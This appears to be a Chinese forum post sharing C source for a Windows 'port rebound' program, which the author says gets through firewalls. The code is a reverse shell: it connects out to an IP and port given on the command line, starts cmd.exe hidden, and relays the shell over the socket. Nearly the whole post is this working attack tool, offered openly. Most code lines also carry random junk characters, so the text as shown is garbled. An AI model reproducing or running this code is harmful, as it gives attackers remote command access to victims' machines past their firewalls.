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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i&JpM] N  
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/* ============================== GSP?X$E  
Rebound port in Windows NT E-^2"j >o  
By wind,2006/7 C#0brCQq3  
===============================*/ EOhC6>ATh  
#include [O\9 9>  
#include "9w}dQ  
fTcY"A,2  
#pragma comment(lib,"wsock32.lib") -OWZ6#v(  
~Po<(A}`f  
void OutputShell(); \Dfm(R  
SOCKET sClient; n,CD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !:3^ hb  
Yr=8!iR$  
void main(int argc,char **argv) sds}bo  
{  s'TY[  
WSADATA stWsaData; Y~}5axSPH  
int nRet; "mR*7o$|  
SOCKADDR_IN stSaiClient,stSaiServer; +>!V ]S  
6(Vhtr2( *  
if(argc != 3) nWk e#{[  
{ ~T% Ui#Gc  
printf("Useage:\n\rRebound DestIP DestPort\n"); H;QA@tF>5  
return; E:)Cp  
} LX\)8~dp  
BX*69  
WSAStartup(MAKEWORD(2,2),&stWsaData); zd.'*Dj  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r_^)1w  
"Kq>#I'%W  
stSaiClient.sin_family = AF_INET; FI$XSG  
stSaiClient.sin_port = htons(0); 6lsEGe  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `"c'z;  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  t!jYu<P  
{ "TNVD"RLY  
printf("Bind Socket Failed!\n"); J:AMnUOcDi  
return; @MOCug4  
} xz8G}Ku  
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stSaiServer.sin_family = AF_INET; {rDq_^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LL.x11 o3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pw\P<9e=  
f0DK>L  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }RIU8=P  
{ wx*1*KZ  
printf("Connect Error!"); <!F3s`7~  
return; JaI Kjn  
} !p',Za   
OutputShell(); 7 \X$7  
} &?y7I Pp  
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void OutputShell() +P)ys#=  
{ {~'H  
char szBuff[1024]; u h )o  
SECURITY_ATTRIBUTES stSecurityAttributes; CW p#^1F  
OSVERSIONINFO stOsversionInfo; k3>YBf`fC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W:vr@e6  
STARTUPINFO stStartupInfo; [9AM\n>g  
char *szShell; F?BS717qS%  
PROCESS_INFORMATION stProcessInformation; cDIBDC  
unsigned long lBytesRead; |@wyC0k!  
@^&7$#jq%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mlB~V3M'G  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Om9jtWk  
stSecurityAttributes.lpSecurityDescriptor = 0; !),t"Ae?>  
stSecurityAttributes.bInheritHandle = TRUE; to`mnp9Z  
RgZOt[!.  
Hhl-E:"H`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +D`*\d1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MA* :<l  
R/~,i;d>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v+6e;xl8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  z)w-N  
stStartupInfo.wShowWindow = SW_HIDE; orqJ[!u)`  
stStartupInfo.hStdInput = hReadPipe; y' [LNp V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cU8xUpq  
||Y<f *  
GetVersionEx(&stOsversionInfo); Ryv_1gR!  
S&wzB)#'  
switch(stOsversionInfo.dwPlatformId) u-:Ic.ZV  
{ 'SV7$,mK@  
case 1: 2hq\n<  
szShell = "command.com"; cP rwW 6  
break; vFhz!P~  
default: t,<UohL|z  
szShell = "cmd.exe"; B(,:haAr  
break; # yN*',I&  
} !%[S49s  
].mqxf  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tTuX\;G  
=J/FJb  
send(sClient,szMsg,77,0); [Y/:@t"2y  
while(1) =;ICa~`C;  
{  3+U]?7t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G%:G eW  
if(lBytesRead) eV2mMSY  
{ =w%Oa<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ej^3Y Nh&  
send(sClient,szBuff,lBytesRead,0); Md&WJ };L  
} eB]R3j{  
else 6gU{(H   
{ "#4dW7E  
lBytesRead=recv(sClient,szBuff,1024,0); tC)6  
if(lBytesRead<=0) break; L0"~[zB]N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (CE7j<j  
} MKg,!TELe  
} t'(1I|7  
@dEiVF`4:  
return; 75NRCXh.  
}
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